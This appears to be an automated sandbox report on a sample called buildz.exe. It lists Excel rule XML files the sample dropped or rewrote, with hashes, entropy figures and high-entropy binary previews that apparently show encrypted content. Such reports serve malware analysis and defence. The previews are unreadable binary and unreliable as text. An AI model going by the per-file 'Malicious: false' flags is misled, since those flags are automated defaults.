G-.....4i.4.....KV.g.q../..-..fRV.2d,..z."7].k..K{.q....I......p....K...I.N.<\....9..YVx.&NB..'..+p..h.o.H.).9.....a.P...4.)..^!J..GC....D...I...R..k.z~Q.V.5p..\|h.S'r.x.....x@.6..~.....u..ee.^.L....n...=.(....,h..i.:..v..P.9..e....../.........@.Qd......k..!..[...5h.p.<B.F.4...o.&i..D..u*4.._.w...(,^.....WW..A..'&.m..Rj..o....}p...c\..........E....[..+...Z_>.S...o{.`{....5c.6..CX<B...[l.i.,.{.KXs.b..nO+..s..<qze8B7......l....gQ..3..M.'mD..m.H..P;..L....Y....Q.7SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100076v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.7160525508556495
Encrypted:	false
SSDEEP:	12:NcgWnpe39ochv9b6I7kKJheueIblF40jQPDw22KpTHQJGbjK+z5Devr1+cii9a:NcgG2HhE1KveuvZM7wluHQqzcv4bD
MD5:	DBEBEDB12012FDA610FAABB49C19A40D
SHA1:	2AD4F57FF350D406BDF3BC16AFF33E517975BD7D
SHA-256:	0A626BBF96E913B1BDF8722AC54FF95643F4377B74039518A98C9FDBD3C42EE6
SHA-512:	C96B2EEF82A742BF4CE86E314E28B8954552A70ACF4F2285748E2DC16949A18F96909F3CF81656FD60408C6B3D41BBF8260C25704842A8C274B6B6CE1DAB7AA1
Malicious:	false
Reputation:	unknown
Preview:	<?xml....V4Q.I...B..l..MD.n.....F..b{..+...4.q..8..B...~bUt...Uw ...X..nb..?:...(..u=.....Y2...N.{'.?....1N.K..$..5=.]N..1t._>.q..../.Q..0.1M..m...k7..UNj..q..hl.;....t^.J..bU..CYC=f...m.\.y-ki....,.A.^e.]...kK.6..@.....M....B.....t.,.'l.__O..Dyql..G..q}.f..z.w`b.%......<G..z..~.KO.R...I.x.t!.N...iS..S....k..N40[..:."l.F........v.a.Y.[mYV.cF.)".[.......v......T...k.....eE..b...o:.u...F..g..]kU0..RD....". u......nQ..'G.9..^.u....K....."..u...A1].mj2...r.....?L..AJ.Y..B.^#C.(.M...._(..@.P....].9....c....`C.P..o....]>.z......+.....agE;.Mds..x,.g....d.d..g-.9.......6.Z.sP......L....m.6.j;qC.QZ.[.....%.-{..L..n....d.o.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100077v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.738639544942423
Encrypted:	false
SSDEEP:	24:mWvPf/IlkHKk3QGT/7EK6raOemdLC3UHeDxBbD:dkrk3jTb70WE6xRD
MD5:	118D556718FA845145AA402092A226A5
SHA1:	875179F5E434500F02BAECF2E7C4171A63517457
SHA-256:	E61F117E6852B57B3D9A83AEC0A8F96B6346043C02B68F58C018707856C24C9C
SHA-512:	F95B86490191F5A929E007159ED15C4F8C7EEE020CBD321A1EC48A947575B38B18C8B2530520182F8EA872F0AC6FE09DA7F98B34E8CDBB8A0CE06DD68BE18CF5
Malicious:	false
Reputation:	unknown
Preview:	<?xml!r.B<...k.HU...'..i.A.t9.Y[.1cw.s.......ER.F.0......#.?.t...I.N.q.......V..~..K..0.....=.q.>.>..Y.{.,`1u.$...5...4.z&....I...N2.ig.;40....?P9.R.!..&.g....w.hC_......W(-.....Sq..<...]....@..%.....+:.+ y......-...U..Y.f.Y0...B(.m...D....u..;4.>.-..:.B...1/..5H....Z....BN.......o.J$....4K....l....K.._3..+..K.....W....'(.).-.TM.T.9K';.D.<.7..g>..R&cW,Q....([q...c....M..U.j.p.{......^...=.G\. ..N"...v.,../..i..A.s'._.o.i...B.F........0_....#.....U....S<....b5c.J>...C...;aZP.18...Y"..NpVU=... ...k..^eD........FY=..^..G.z..#...#...9....@.{.Ebu.U..,X.J^.5..a..Ny.S...>o...?5fG.\....M.........2-:a...../....?.+.U.....J...j5...V...y.....J)..>..X.:......".o..E.....T.......,!.B....p....{T..].........8u.QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100078v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.690358562523957
Encrypted:	false
SSDEEP:	12:I9MKZe0bLjl293yPu3Mh7SqJHk1SBUeYEIR3MlCoGuf1+cii9a:AMKZe8jogPfkhEIiUoGTbD
MD5:	2A67C2E8D82F42D565CA2EFA9E9486F4
SHA1:	D5E994BD013DB6F0236E7EE485635B9BE1C1D0B2
SHA-256:	9708D3C8A982BD55DD689FC095314CF7C049C28853D5AB6CA03E576E57F67B39
SHA-512:	BAE6616C0FEAAC995D682C9C2C3055D7B0CDDDC0FC01989A1C0498AFAC9555B1D003156C9D56D7BE2B25E8D49BF78D72B9C93DA22A5310719ACFE5856ECAC7BE
Malicious:	false
Reputation:	unknown
Preview:	<?xml.u.Q. !.*.......-.4U.D......C.I,u.o.\"KC..^.$..Vj..~.M..+"Y[...v.6..aRd....;C.........F5v-U\II. #.-..L...s. .....g'.U].B).3..k......i..)..iGc....<..,..hno....8.BY!(1..,.PI......J.RA,.&.4....7...}..7M.\|...!"...@W..Z6&Q.....7.'....e.v.OX+...T.E..C...../7.)...]......../...Sk.^YC:_..&.f... ..w...H.Xt...B.....B..<..%.~..<!..BS...ej.a..;t...G.....[. .}...h.T....N....z..a~TW..[..6...N..OZ.=..Mb.M...+....9Fo..8. E.`.....<.....e...s...]5.....o[_..B~B34..<V.._L{..f...aed.W.\.....K..-.... ....J..7..Y...f....,..q....!o!.....e.p...[....\}.E.-D..G......h..-..R.."H. .j$z.J.)..%.koyZj...+s..3I..E......A.....%.k.=4.<...<~N[<@.f......._-....,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100079v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.644817170997128
Encrypted:	false
SSDEEP:	12:9L/3f5x4kmzzzjwkStnKbzndocMAiVfv/TuV+2imS1gfQEZax2Lvf1+cii9a:9zD+zPjwTAnndo4MfvLy+2imCgfPaxQG
MD5:	4E82ABA5E968F131033BAAAE84E2024B
SHA1:	5A275E0D2FA500907E344441227FA27156566359
SHA-256:	9AFCCF92BE2C63FAD4645EA09BEE22107834F9E9B1CCEBB20E93972010076A65
SHA-512:	4786A47437963D5918709EE3B6A30AC39273EC03CBEE240320A0364F0390BF270B32B79C9D1FFBC72D998BCA12C16F8A9EF311E03183E1DE6974119FF963D224
Malicious:	false
Reputation:	unknown
Preview:	<?xml...B..+..l.@.]<..iG..r..5.T3"...4..uV..S....z.x...oL..f.^..?.<y.h!..w(...<WZx..H+.pv.(..E/#p......5....c..M5mG!.+..,.5....^..2.>...3.G.tRb....Wz.1.).."... ".........t.%....C....zB.4....7.M...~^";.!\:X..G...d.6c.s.x>".......t.......usmz......7..7...f...S.......3C..w...V.]r../.EO<h..X.....t...T...k.M.IZ.gZ.Q.`IY.(...Rj...j!t......&._.....G]..C.........3%.*..KB.#.u{...?......r.@...T...u:%$!..{....-...........6..6#..ksH.....~...%q..@$.~..L..Z.lr.-...\|$..E.G..yR.`.....sq...v.....DX.W....b8.....Xy...+..PD......Y-.i#x..^#-..T.vX...Y7x>c.=.i-....)......}gd....h..d..`\|....}B}.P.....$.0.X].Lm..B..%..w.C..J..Y{..$.sp.k.o.ZRr._34.5<.......)..4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100083v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	7.8075999862045204
Encrypted:	false
SSDEEP:	12:1MKbyM+dQzOoNQa5h/LYrrG0h2lQfStBcOsM9ILo2akIE2hVp3lW1bnv1AmFb0VK:1py4zOih81hg1tqJtHy0kmFVpWEdF3bD
MD5:	3BB7D19E82DA6AF8A9A41E34CE196878
SHA1:	8ADDF1013F782AD1AF977D4FA326F6FD90EB2253
SHA-256:	1AE481056DBFDF0FF6FD1DFA25E592E2DB986D1CE538566D702B72C03BA9FE48
SHA-512:	4017E514D8B786AF1A890B92765744A1C21C9ABFC41BDC59AD820B6B00EF47813106FB84C8CD836DA544F8D98D16578046E34B724E7CE392A44602EF0DC505A7
Malicious:	false
Reputation:	unknown
Preview:	<?xml.V......]ZXZ!D..j..C.g.""..x..].`m@M......Hg=2...Nv..S....b.i. .b.R.HS....b.y3;.Z#c...C..>.w...d.M..i1..~...-....[..$.9....t.XJVN..{.~0........?..u..:Rs.4.R.y\|..z..K.(\XPTa....(...l....9.R...A.....X..d..}.......G...."2...q...`.(.-.$.m..<..\|@...v.B....Y..%..t..........V.@.T0..).=.`V..k...`......e.b..Q....8......!V.&...jt....%!.;.D.)..L.e.^....H..e....^...S.Dr^.7&...C{)...P..]\-.9.sJ..F..Ry.......o.,..(3UG0.......g..S..1....x .U..1.p.U..0...O.:?..gW...I[..=<.._...!....T`..U}$;...2.y .r%.-.t.C.Y..j.M#..p?..E.C..\|...$..%.l%dlq.....'....\....Q.J.v..P.T.c^k[..*T.3..TU.Rb,..Q.&-......y...!7..T..W..d....6t_r.~..hT%L.Zu.......8sl..VH<.xF...po&<.. .U).BHW...)....i+....\.[...[....h.w.Vg,..TN{.....Z.E.u............. @i....F4....N?.8....`.~5.8.p&.d<}c.o..Q.t8.oM......)rW.M......1.1...#x.d.Z....$.....E.....J=......71s...C.....y.s%.o.lE$...7......)..y.>.6......6.....E... k.[..t...=\|Z..S..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100084v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.720850854564464
Encrypted:	false
SSDEEP:	12:iacViUS9aLcGzbyPPWlIn76CEyMMlBxfolx68hAAc++Bg1+cii9a:BSiUQHwdyMk3h20bbD
MD5:	A69BBF2CFA318C6E4B564DB054067164
SHA1:	9A5E97E9A65E69BD28F04F04102493D5DE358545
SHA-256:	E2B0A3E034023992604215E996D5653266E152AC74EA41ED7CD801766F8243F0
SHA-512:	2F5EE0D3DC795F307A704C23C58369CF7110CD90AF89C68A662752EB0082A7EB27C74F8591859E7BA213BC855D634DB87A2A9EF24DE9DFB497F85A4B2860B98E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.%...!...._..sKm.?.....$...A}.\..tP.@.}y.....u.<..e.~..lnO...q.R\|.S.OR...!..$....{_.p...<!...QyH..a?. 3ur...p...`'..........I..>.1......"...g...c.M`p......H.=..b.0T..`/k.....Ho3.#$U.ph.!...>.. ..u.zE...,.{.v..J.O.r'.U^..v...v. ....A......Z6w.s?..F...,;.6....z}.V.~M.3..g.).Fy.3..uN.z......eOE..C.s.....O.......Cx..M......^.$O..+3.\A.h...w..Z...'V;8n..v.............W6.&a.,..q...`..[`3...q..........n._.{#..Yy..."PI....3..U......Hb... c.m.Uo..Mq.'.\{....G.20..9....2.0.....u..g......I..6K.....7.}.l/.=.)...W9.k.%...uJ.Wx.A..c97.N0..+..M.].#.}...u5.....^1O...3&52..Z...6.."...}.Xi^Cdh.n...[.Q{V..b.xC..Y.Gy......Rvx..o8.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100085v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	755
Entropy (8bit):	7.716425027383723
Encrypted:	false
SSDEEP:	12:Hb5dkMa3KeMNkSDM1RCOrV+tcprHPIOrBigzZZ2OK17WK58T8pTTtQS+o/gUh514:Hb5GM2oORCQV+tcprA4qIMC8pvZYbD
MD5:	E27E6B7B592343EDDC51E6916DAFDA60
SHA1:	9A67969034A365694D0470DCE6E47AB9F925594A
SHA-256:	9BCAB47D16A16264549E42C5A890F6A6C557E9187A5FD5CD54101D673655F11C
SHA-512:	DD707C71269782B5702D137AAA07DFBFACFBFB6800F3C8042CFBF0564717D9F91B2007FA8E02B4E055980E8726F29708AE217FCF8399897AF3AA628E2C2CE1E3
Malicious:	false
Reputation:	unknown
Preview:	<?xml..#.bB.D..-".J..y.2........^q..t...'.$.F$a.X{.....Cu..m\.s.].".......N....$..l .=c...T\|....$..G...7H..C.B..q$C.R.c\.dr....!kU..R.{."L.....N......c....:..w....V....$~'...r.)4.f...ES..c..` ...z..Of.`...*j.(. Z...N.Xe.n...Pd...q.dI....~.HGn...p.A.S. .6p.1.I{.......G.j....\|. ...k...........[`@..^......i.i...`Gm....]U1....`..#8.)...S.D[...'0wX.;fg..K..S...'...z"1....k..y...X.>.=...L.\..4c...U...Z.2...6.......].....X.5....s.Z.+.2V...p",5Y...dp..b...N>.1..(R)......d.ym...!.J`..E.m....&....N.D_5wQ..K....,......Y.$g0...\|...D......Tv.......W.D..%v...#..m..`F...F.jh.j..0....a.2..Q..K.8.<Zc.q-\|..a..)....C..ff..S\.....5.l!<....s.E...<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100094v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.761131281911341
Encrypted:	false
SSDEEP:	24:VKXWve8HVilgkMDz0EBIojezWH7L7DSVW0bD:gXWGpMfBIomWHP7DSUeD
MD5:	1624ABD739ED38DA1E0698FFFB446E68
SHA1:	B73A6950E7EB6790EAA63138D9EA74D45B962CDE
SHA-256:	F096E16E93CACD45D1F01FB035BEAF46C1D1A9736AF5F77A4E96B9579651DF1E
SHA-512:	53A65C3C1DB43E683A8F941D637A90748452C4B754B7410C3A81166BFA889B8D92930C83CA3BAFCF2599B84E913CF3B24DC8A04FC61D2AD515B2A2332517968B
Malicious:	false
Reputation:	unknown
Preview:	<?xml.:.Xf..p.R...LH......l..t8N.'..R..3.]..1.........6..n{..&......$.....W.......Y%.....6.......C..W7...9K....~.r..[.K.l>...>...cZ>....T.i.....f...f.>....<.nS2.....s........=5........"=..nK(...8......#F3...k.AOkn.d....5....\|.v.T..B.~....V.+......I.F.{.V.Pb.....k....D.R.Dtt0...L.............%v......TDCE.2.q...w...D...MQ..G......'.b..~..r".#..{.n...\.}.....F...^....[.z........67.H..H..zX.k....]...OK^... ..i..KVQ...5.Sy.._.W..h..h.f....3.........d.}...c.....g.C.1.jqm.JG;...?Ul.=b....p^.21.jJ.}.s.S.(%..\|=[_.....("AT7.vMM.?_H]...u. .2)l[0.X.?.(....k.`......+.owY..&..0_Nc...j.D.)..f....>*.9.....k....$.r..XO....vA&A.....Z....;..P..n.K.2G."Z..r.Fj.....`7..\..%.H..i."Y....A:..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.886084856797623
Encrypted:	false
SSDEEP:	48:KSAIyFYJQiYNPQazBMNxeKbCM6mo0V8cK+YbfKUnAjRrIJJuHD:JL1QiYVQadqNbChmouKwUnA6/G
MD5:	538C96B6C4A8F044BBE28E124860E150
SHA1:	FAF6D999F8C3D422CDF9700F16ACE8380108D4FE
SHA-256:	AD028531BF4DD9BFA805F0A24F0BF8F11E06B0A993A2FC7B4BCD3EE0DF111AF8
SHA-512:	168C280A3DBE73EEAAD40A4C9499867C951E1E3D15207ADE42081ABE1C193858CEFE171AA3A97F37EE76EE439035E340408BB37A642803636D33716063A11C70
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....wID.F..T....w..............\|.... ..8k.G..+.y....p..B?].=\|..).n..k[.....D.0...lH.p..z..........l.X'...W....qc......U.._.t...r......z..G..B...B!..JuH5..8.LP{......+...+.<..Fz3.....K6...&.C..2.....V."......4...f...}.2.9p"...<..>..{p..l.e?xr...n.AY[..y.1<..#!zH..4!..M?O]...S.n.d...h+...d...D......&.......qr./.....g....GBs_..F.....5..r....{J.O<q..v.B.R..j:.g.D.Ik<...G..wrt.Nlf..I%.P.E.....83.T/}..0....L`H..+}x..(.W....t..s..q......L&....vaK...,.W&...ZF.&........<...+.....>j.z..B!C+w......Bu.......2.v..GU#.A.......l.&..Q...}..k.(r..~2......B.."..'Q..... .mY../.l.j@Xs. $.pR.)a@W.l..._n..Zp.F.N...U",.".4..F...'#.V.4.R<....@"....L....s.GX.C..se.....+0r.d.1<.h).s,..ead.kA.Sc=.I.io_. ...?cEey.p.e.[.!5jm..{.-i...w...Y.....E...~.)3..#.E.N.w..l.Wy`Mo...q.....S.o.%n'F/....jD......K.@.GKG.jg.l%I.....+.I.C1?....-.d/-.=s;......bm....-.sq.u.K.[k...........J.p.&.'.K.....a...gA...=uq..U....L..q.n...!.6...5...\|lZ...a.D.[. ,......x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100104v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.861493773264214
Encrypted:	false
SSDEEP:	24:N6PqaAcPNp5DW8cWCbL2Q9HRjZWPNPJTcPIBG1q8xcaYEOjqbD:AqnqX5OWCbpRJsPJTPA1GaUjID
MD5:	CCAF9FAF5277CB4E8CFEA52D6619FD6A
SHA1:	28C678C55A78804971CB7D5F06892CAAF006D988
SHA-256:	E0B793EB18C9CB214BFEE76F1623A59EF1D9F2C11F79F40FB37676129A97C234
SHA-512:	8DBE3E21C6FB7B2BC8416D20157C5B5649876D0894C8A7EAE91E92264FC81EB13603194F67F6884F65E4F78AE4CE795FE5661B48ABF1B99B292EA46C11207095
Malicious:	false
Reputation:	unknown
Preview:	<?xml....s.j.&M..LL...dP...F....X8..N;....VX.,......?.........I2....g...l....4.E...m.,............U).>..r...se;.iayxh./W....h.m)1.yo...Px...../...zv..A.3....0..o...y...`.#.".....E.`....wTP,]..(+.W..&..)sb^I...._......i.2...&]......).Ij).c.RP;..".;."B..Apq.R..p..}...m..B..R...V>.Em...ND....J....I.9...........Z..hQ.Iuv.z......%.J.K.....<@.F.%[..=^.e....82.9.....es.....?'..ql.4v.J.....#.....D......M....!.._c..\|.H._.K.tf:@.bC.X6.......\|.p.J8..ga.(..-....r..;lk..Pq\<..8w...Y~..E..'.R ..<y......n.RN...i.9....R...H..l.B.n.Q...."/N...8.{...;.Yj.J.B...j.........[.A....H..^(..8.4...4'......p.h.J.. ...#:..0g.R..tz....?w.e.:Vak..w.i....G9z.D....x4.Vz*..l.(1.T...@..u.{>...<.4.t.f.Q.{[......1$..W.,.t.Q. 2.....1.>.R.z.}ENy;\|..%...c6.-.][B......d.<...>.ah....]3...',.{w.8./~..:-..o..O.b...&c...u...P.a.p.......U.HG......PgF....s.N.]j.M.........).=...b..R...G.f.y6....1.%..m...........g.....S..\|._..F@..h..0>';..7^..jGw...\|...2B.....V.6.?.).....N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100105v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.845134944623897
Encrypted:	false
SSDEEP:	24:IJeD/rH0kknIj/pVnq9c/4/H0wjqiszB4e7kpxPl2w5AhfoVoEVbD:IUDjhknIj/ptj/4/GiszB9QfPxWhAGE9
MD5:	20B78BA958015D24BB56FBEBFEEB4E9D
SHA1:	3D137308353AD6CA00CEE1BC3B5416CC559045B2
SHA-256:	41D7204AA4922E0D5A2DD6220320D994536D13B6100B709C638876A5783EB8CC
SHA-512:	B7BBA96ECACCC440F224092CE48DCCB9D8DE4C4850FA0DC332B7293CCB409A0D63B0061DD1B1B385E0DB0A0A8300BEDEFD6A9875BB2BD40DD45527F20F194709
Malicious:	false
Reputation:	unknown
Preview:	<?xml.m,....~.NzD...KES.DEdAKZq....Qh}.f.A]<.8.....;.......Z...v...=.....4..%x....7......^d=...1.V.r.@."[.pt..k<,J......r.......%..~.8..D....+....V.A..}..P.un.~...o.k....w.#f.,.@.......3..X.....c.&..(..)....',..J.Ni..c....n.lwo..`........lR...4n..Acha...........,".i9{.dc.....7.(.G....A.Z..}+E,.KRky....<v.X]{@eL..`.~.I.X....z+..'..#.......lw6..s...$b.S...`.c./P.XE.x.(.Q.$.J......P}vlMptK...............e.".E.L.t..+b.Y.T..Rw_N.Yy^.).....X...w...Z-2.i[...y[.H..{..5FA....a...c...oV.).A..@@h..c..[..i..n.8.R) ._.......R....O..>nx...C.......A,....>....i....I...u!.N._.g....sE.........2.-.Z>.....3=..{........X.}. ..bG.[..9m.i.T......P.....9..ZGd.....`f..;.V.....X.m..A.....31.0..e.D2S.q........Wf0U........Y?35..l..E....B.S.......S>..U..pb...%.cM;H..t'....0+.\..nO..iJiT.TtL..s..]....(@.4...'X..C...9..a../X..x\~O.SB.9.S.v/..z.K.4)......S$+.......+.\|.Q..!..QP(Q.^.....4J....r...3..H.x..../.T:t ..gO..=..!..N"d(.M.....UR....`....g[x..h}&h[.&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100106v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	7.876053358265444
Encrypted:	false
SSDEEP:	24:4sCfSiQUdmN+tGHqyTJfZXKvaG391gAA966Y9hCgjr9sy/D/mjEkKRM71VbD:CfSvUcKytGaodAjYvd/T/LmzD
MD5:	244BB7AF5D0EC191630DBE1B127A4379
SHA1:	90A6E58B26519788A974E657924FCB18EE299F40
SHA-256:	016778C441120F1DA1D77DAD18F6F16C40706E1EFC2D9799ABD27E2DCA0B26FC
SHA-512:	952FA92D899AFD2C258A4D4CE721A8192F3C47AD905698CDB1384C262F0CB4FA514F1AFCE39B5CCEE03CF37D1ABDB3F2348D03D1E6C9FDB91798AC592BE814FF
Malicious:	false
Reputation:	unknown
Preview:	<?xml._.[a.J......D..rs..e.G..=.V...=..S.....s....n.\|......9j7....\n.h...w.].SDi@!>...n.8..D.X.........FM.r&..J.\|..7.9...]....$?..Sie...).d~.......9V`.,...6M{>u{b.G.T....>5_N....nN....~.. )7...Kr}_x.....r.^.......V!._9.......b...3.f.....C...g.....aa..k.T.i,M.n.F.=.p.N.. ...........Q,.)/x..\|.>..>...u..9.=..Ev....l..Wo.i./7.._[...).3U..}.....L.7.....z.....K.U.;S<f3.dC..C.m.....-).....K...h........9r.A....J..c..G.`...l... ...N.._".l1.q.T...@k3..k......!o....?..#=..W......r.Q5sL..T}y.Q..B....t...q..G..nk..a...P0.e..v0.E.L.....Pu.._.a..g..K....!.t4.P.(....U...]..6..>.X...q4v..k.o...00.0..+~.g.\|5.Y..\|.2...A.N...n.......\|..]..e....1.u.:H..+.0.r.....U........T.x..>6.e..G..T.E9.jg.`...3N.k.P=tk.;.).`...T[Si.p...L.:......2..R.Vd..T....E.H.-3.~r...B......./...f.C...nK......`....v..o.h....Y]..}..xb.....c.~...8...t.vS...VHX....u..f_..(F.#..}.#K.....A.F...........vf..e.,...?.c.9...`.u..?.p.E..@..S..W..../..fV......G...S.(....w.*..W#......gM...\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100109v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	7.742238349653137
Encrypted:	false
SSDEEP:	24:gLHX52o1B2ssBhPQCsfXZoTYDlo/JSUprhC7vI3bD:gjX0ogVT4Cs/WEDere7vCD
MD5:	EB72873E0F20A4E655DC85BC8C285BE1
SHA1:	C6FB00446118098DBA3689FF06D9F32F24578368
SHA-256:	B1825CA17E77584C9F0A3C0CEC0E97F50F3F8446FA2ED16D63E84E54B96D1ABD
SHA-512:	0BCAD9BB29AF6D90BE0F08CB0A487091BAB99ADB1B47458C5F6F6CC4C7CD18BF8EEC62DD63AC2860E2C2111B832E5E93A55054121260F83C0BA04DC4F43C1BF1
Malicious:	false
Reputation:	unknown
Preview:	<?xml.z.H...D....m:4.....T....dBZ.]1..j.4`.f<~..jJ.^.^G].'.......1....kD....ay...!@~._(e.......4.....1mF.7Bs..j).....[yt.e...$...#oZ'.KfZ....\|.U..n=..?...H.F.qW".A..`...........4bF.$.{.......F+...\H.f...!"....5.(M...p?.&I..0!.....N..9..K..x&.F.c..R..+WF....m....2.{f..7..N`...Q84Y!...51...~Z.6../v....u.h.:.B.>Y?..yn..=k.j....RA.......c....."RN......C(~....4.h....:....K..8..E..^...W..!....`.n.....XT...}.Ih.._.p.....v.n...jK.....<..e=/.f#+.xZ.l.mZ.u......j. .....Y..Vq.....Y.........ky.m..Yb.....B.V...~t ...+.U0E........P`E...R2.>...X,=..;..1.kV>......g.........>.......6..Ys.Z.B...>;.4.Q.tyb.........o.N...@..f.T..GdQ..L....%...s....S\|.l~E.).yh....l.[.a.K3..$%.....T/.Tb".TB.*.w.....NE.n.X..#.W........@b...8!..y...`#.R.....k.Ob5.G.&.. T..:........n.r.....C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100110v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.7056124416215885
Encrypted:	false
SSDEEP:	24:apzXuxoIDV+nWpXmJTPidBc1+Jj67khbD:YuxoIwnqXmJT4xh67UD
MD5:	AE83B390E59497A00DCF9D00872EAFA7
SHA1:	8F6EA9E22CC55FF13361E3FF8655E79DE7A3952B
SHA-256:	3B1E6EEA6D2822AC479CA9C07B9ED177FAB923074F5EDF4F85A64C0017593091
SHA-512:	F744A9BC05D570DF190C590D6A942419BC2EDF160CBDFD59121A13BC1325A746DD77FB66B7FA7EFD99540D1F107559D04FDBADC3477EA289764E3C5261912F06
Malicious:	false
Reputation:	unknown
Preview:	<?xml.........Oz....`..!........o.ci.{0.p.!........n./v......]..8...8.ED...g8N.@.W/.7..b..W.>).w.... f.,.q........x.<...,...K...?..N....J.R..o....P.0.Y...~..4.].4$c....l.V=."..2....)...X.d.d.:..y.Q.m.\|a...'...5......)..>7:CM..c..S.....oZ......VI...\|.iz.....G. ...S.<.84:..,.X,=.b...%$.;.8l.>.p..)u.:.4.u.....0<...ff.o...&.i..x.(.yy..:G......k8.f.....o..c.(..g.9.E.'..+I...A.......'L.&;.l...3....gG...C.....~..^R.C.....3........?.......@......^_...e...-.u?-g....4.....q.jV!...'.......J...6%.vv~.b..5P...}@bz.j.a...?\...)}.`o.g.R.u(.../.H".<.....E..5..S?.E.ZL=y.J^9..l.-.......x.......i.~..C.P........}QoT...;..E.jD.8.s%>m.......A.....u..!..n->.,..#..{.=......^_*W.@..Dw....P...4O..).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100113v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.704833466256973
Encrypted:	false
SSDEEP:	24:Gwknt03qWRmXdi9T/GDujzxbjuXandN9ftqbD:Gw2y3qWcNil/GDClbzdNJtID
MD5:	51F330C80B58A928967BBB187940875E
SHA1:	452513F13D021617935939AA3E9A94EAA9097583
SHA-256:	6BC23055700705483DB39C7C8ECF7499D30C1A4F9145B08250C160BBD80BFBE3
SHA-512:	458875D9D6383E872F9659D389D5CF5694727851E41B6893E96025F06000F05BE71D76848A8D801A2FE5734D2F30DDC19447DB6DE694508DB47E0CE1D1B58844
Malicious:	false
Reputation:	unknown
